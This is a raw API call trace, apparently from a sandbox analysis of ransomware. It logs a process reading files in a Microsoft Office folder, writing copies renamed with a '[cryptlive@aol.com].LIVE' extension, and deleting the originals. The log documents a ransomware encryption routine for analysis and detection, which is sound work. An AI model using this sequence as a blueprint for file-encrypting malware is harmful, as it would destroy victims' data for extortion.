lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.441] lstrlenW (lpString=".docx") returned 5 [0154.441] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0154.442] lstrlenW (lpString=".pdf") returned 4 [0154.442] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.442] lstrlenW (lpString=".xls") returned 4 [0154.442] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.442] lstrlenW (lpString=".xlsx") returned 5 [0154.442] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0154.442] lstrlenW (lpString=".ppt") returned 4 [0154.442] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL") returned 54 [0154.442] lstrlenW (lpString=".zip") returned 4 [0154.442] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.442] lstrlenW (lpString=".rar") returned 4 [0154.442] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.442] lstrlenW (lpString=".bz2") returned 4 [0154.442] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.442] lstrlenW (lpString=".7z") returned 3 [0154.442] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL") returned 54 [0154.442] lstrlenW (lpString=".dbf") returned 4 [0154.442] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL") returned 54 [0154.442] lstrlenW (lpString=".1cd") returned 4 [0154.442] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL") returned 54 [0154.442] lstrlenW (lpString=".jpg") returned 4 [0154.442] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL") returned 54 [0154.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL") returned 54 [0154.442] lstrlenW (lpString=".doc") returned 4 [0154.442] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.442] lstrlenW (lpString=".docx") returned 5 [0154.442] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0154.442] lstrlenW (lpString=".pdf") returned 4 [0154.442] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.442] lstrlenW (lpString=".xls") returned 4 [0154.442] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.443] lstrlenW (lpString=".xlsx") returned 5 [0154.443] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0154.443] lstrlenW (lpString=".ppt") returned 4 [0154.443] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL") returned 54 [0154.443] lstrlenW (lpString=".zip") returned 4 [0154.443] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.443] lstrlenW (lpString=".rar") returned 4 [0154.443] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.443] lstrlenW (lpString=".bz2") returned 4 [0154.443] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.443] lstrlenW (lpString=".7z") returned 3 [0154.443] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL") returned 54 [0154.443] lstrlenW (lpString=".dbf") returned 4 [0154.443] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL") returned 54 [0154.443] lstrlenW (lpString=".1cd") returned 4 [0154.443] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL") returned 54 [0154.443] lstrlenW (lpString=".jpg") returned 4 [0154.443] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.443] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0154.443] lstrlenW (lpString="DRILLDWN.DLL") returned 12 [0154.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\drilldwn.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0154.444] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1757048) returned 1 [0154.444] CloseHandle (hObject=0x1b8) returned 1 [0154.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\drilldwn.dll")) returned 0x20 [0154.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\drilldwn.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.444] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\drilldwn.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\drilldwn.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0154.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL") returned 55 [0154.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL") returned 55 [0154.444] lstrlenW (lpString=".doc") returned 4 [0154.444] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.444] lstrlenW (lpString=".docx") returned 5 [0154.444] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0154.445] lstrlenW (lpString=".pdf") returned 4 [0154.445] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.445] lstrlenW (lpString=".xls") returned 4 [0154.445] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.445] lstrlenW (lpString=".xlsx") returned 5 [0154.445] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0154.445] lstrlenW (lpString=".ppt") returned 4 [0154.445] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL") returned 55 [0154.445] lstrlenW (lpString=".zip") returned 4 [0154.445] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.445] lstrlenW (lpString=".rar") returned 4 [0154.445] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.445] lstrlenW (lpString=".bz2") returned 4 [0154.445] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.445] lstrlenW (lpString=".7z") returned 3 [0154.445] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL") returned 55 [0154.445] lstrlenW (lpString=".dbf") returned 4 [0154.445] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.445] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0154.565] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=221536) returned 1 [0154.565] CloseHandle (hObject=0x380) returned 1 [0154.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DWGCNV.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dwgcnv.dll")) returned 0x20 [0154.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DWGCNV.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\dwgcnv.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DWGCNV.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dwgcnv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.037] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=44424) returned 1 [0155.037] CloseHandle (hObject=0x1fc) returned 1 [0155.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EDITORS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\editors.dll")) returned 0x20 [0155.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EDITORS.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\editors.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0155.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EDITORS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\editors.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.291] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0155.292] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=968) returned 1 [0155.292] CloseHandle (hObject=0x1fc) returned 1 [0155.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activity.cfg")) returned 0x20 [0155.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activity.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0155.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activity.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0155.293] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.293] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activity.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0156.163] GetLastError () returned 0x0 [0156.163] ReadFile (in: hFile=0x1fc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x3c8, lpOverlapped=0x0) returned 1 [0156.165] WriteFile (in: hFile=0x3b4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x3d0, lpOverlapped=0x0) returned 1 [0156.168] ReadFile (in: hFile=0x1fc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.168] WriteFile (in: hFile=0x3b4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.168] SetEndOfFile (hFile=0x3b4) returned 1 [0156.168] CloseHandle (hObject=0x3b4) returned 1 [0156.169] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.169] SetEndOfFile (hFile=0x1fc) returned 1 [0156.174] CloseHandle (hObject=0x1fc) returned 1 [0156.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.175] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activity.cfg")) returned 1 [0156.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0156.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0156.176] lstrlenW (lpString=".doc") returned 4 [0156.176] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0156.176] lstrlenW (lpString=".docx") returned 5 [0156.176] lstrcmpiW (lpString1=".docx", lpString2="Y.CFG") returned -1 [0156.177] lstrlenW (lpString=".pdf") returned 4 [0156.177] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0156.177] lstrlenW (lpString=".xls") returned 4 [0156.177] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0156.177] lstrlenW (lpString=".xlsx") returned 5 [0156.177] lstrcmpiW (lpString1=".xlsx", lpString2="Y.CFG") returned -1 [0156.177] lstrlenW (lpString=".ppt") returned 4 [0156.177] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0156.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0156.177] lstrlenW (lpString=".zip") returned 4 [0156.177] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0156.177] lstrlenW (lpString=".rar") returned 4 [0156.177] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0156.177] lstrlenW (lpString=".bz2") returned 4 [0156.177] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0156.177] lstrlenW (lpString=".7z") returned 3 [0156.177] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0156.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0156.177] lstrlenW (lpString=".dbf") returned 4 [0156.177] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0156.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0156.177] lstrlenW (lpString=".1cd") returned 4 [0156.177] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0156.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0156.177] lstrlenW (lpString=".jpg") returned 4 [0156.177] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0156.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0156.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0156.178] lstrlenW (lpString=".doc") returned 4 [0156.178] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0156.178] lstrlenW (lpString=".docx") returned 5 [0156.178] lstrcmpiW (lpString1=".docx", lpString2="Y.CFG") returned -1 [0156.178] lstrlenW (lpString=".pdf") returned 4 [0156.178] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0156.178] lstrlenW (lpString=".xls") returned 4 [0156.178] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0156.178] lstrlenW (lpString=".xlsx") returned 5 [0156.178] lstrcmpiW (lpString1=".xlsx", lpString2="Y.CFG") returned -1 [0156.178] lstrlenW (lpString=".ppt") returned 4 [0156.178] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0156.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0156.178] lstrlenW (lpString=".zip") returned 4 [0156.178] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0156.178] lstrlenW (lpString=".rar") returned 4 [0156.178] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0156.178] lstrlenW (lpString=".bz2") returned 4 [0156.178] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0156.178] lstrlenW (lpString=".7z") returned 3 [0156.178] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0156.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0156.178] lstrlenW (lpString=".dbf") returned 4 [0156.178] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0156.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0156.178] lstrlenW (lpString=".1cd") returned 4 [0156.179] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0156.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0156.179] lstrlenW (lpString=".jpg") returned 4 [0156.179] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0156.179] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0156.179] lstrlenW (lpString="APPTL.ICO") returned 9 [0156.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\apptl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0156.181] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1078) returned 1 [0156.181] CloseHandle (hObject=0x1fc) returned 1 [0156.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\apptl.ico")) returned 0x20 [0156.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\apptl.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\apptl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0156.182] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.182] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\apptl.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0156.183] GetLastError () returned 0x0 [0156.183] ReadFile (in: hFile=0x1fc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x436, lpOverlapped=0x0) returned 1 [0156.196] WriteFile (in: hFile=0x3b4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x440, lpOverlapped=0x0) returned 1 [0156.197] ReadFile (in: hFile=0x1fc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.197] WriteFile (in: hFile=0x3b4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0156.197] SetEndOfFile (hFile=0x3b4) returned 1 [0156.197] CloseHandle (hObject=0x3b4) returned 1 [0156.197] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.197] SetEndOfFile (hFile=0x1fc) returned 1 [0156.200] CloseHandle (hObject=0x1fc) returned 1 [0156.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.200] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\apptl.ico")) returned 1 [0156.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0156.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0156.202] lstrlenW (lpString=".doc") returned 4 [0156.202] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0156.202] lstrlenW (lpString=".docx") returned 5 [0156.202] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0156.202] lstrlenW (lpString=".pdf") returned 4 [0156.202] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0156.202] lstrlenW (lpString=".xls") returned 4 [0156.202] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0156.202] lstrlenW (lpString=".xlsx") returned 5 [0156.202] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0156.202] lstrlenW (lpString=".ppt") returned 4 [0156.202] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0156.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0156.202] lstrlenW (lpString=".zip") returned 4 [0156.202] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0156.202] lstrlenW (lpString=".rar") returned 4 [0156.202] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0156.202] lstrlenW (lpString=".bz2") returned 4 [0156.203] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0156.203] lstrlenW (lpString=".7z") returned 3 [0156.203] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0156.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0156.203] lstrlenW (lpString=".dbf") returned 4 [0156.203] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0156.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0156.203] lstrlenW (lpString=".1cd") returned 4 [0156.203] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0156.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0156.203] lstrlenW (lpString=".jpg") returned 4 [0156.203] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0156.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0156.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0156.203] lstrlenW (lpString=".doc") returned 4 [0156.203] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0156.203] lstrlenW (lpString=".docx") returned 5 [0156.203] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0156.203] lstrlenW (lpString=".pdf") returned 4 [0156.203] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0156.203] lstrlenW (lpString=".xls") returned 4 [0156.203] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0156.203] lstrlenW (lpString=".xlsx") returned 5 [0156.203] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0156.203] lstrlenW (lpString=".ppt") returned 4 [0156.203] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0156.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0156.203] lstrlenW (lpString=".zip") returned 4 [0156.203] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0156.203] lstrlenW (lpString=".rar") returned 4 [0156.203] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0156.203] lstrlenW (lpString=".bz2") returned 4 [0156.203] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0156.203] lstrlenW (lpString=".7z") returned 3 [0156.203] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0156.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0156.204] lstrlenW (lpString=".dbf") returned 4 [0156.204] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0156.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0156.204] lstrlenW (lpString=".1cd") returned 4 [0156.204] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0156.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0156.204] lstrlenW (lpString=".jpg") returned 4 [0156.204] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0156.204] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0156.204] lstrlenW (lpString="APPTS.ICO") returned 9 [0156.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appts.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0156.205] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2998) returned 1 [0156.205] CloseHandle (hObject=0x1fc) returned 1 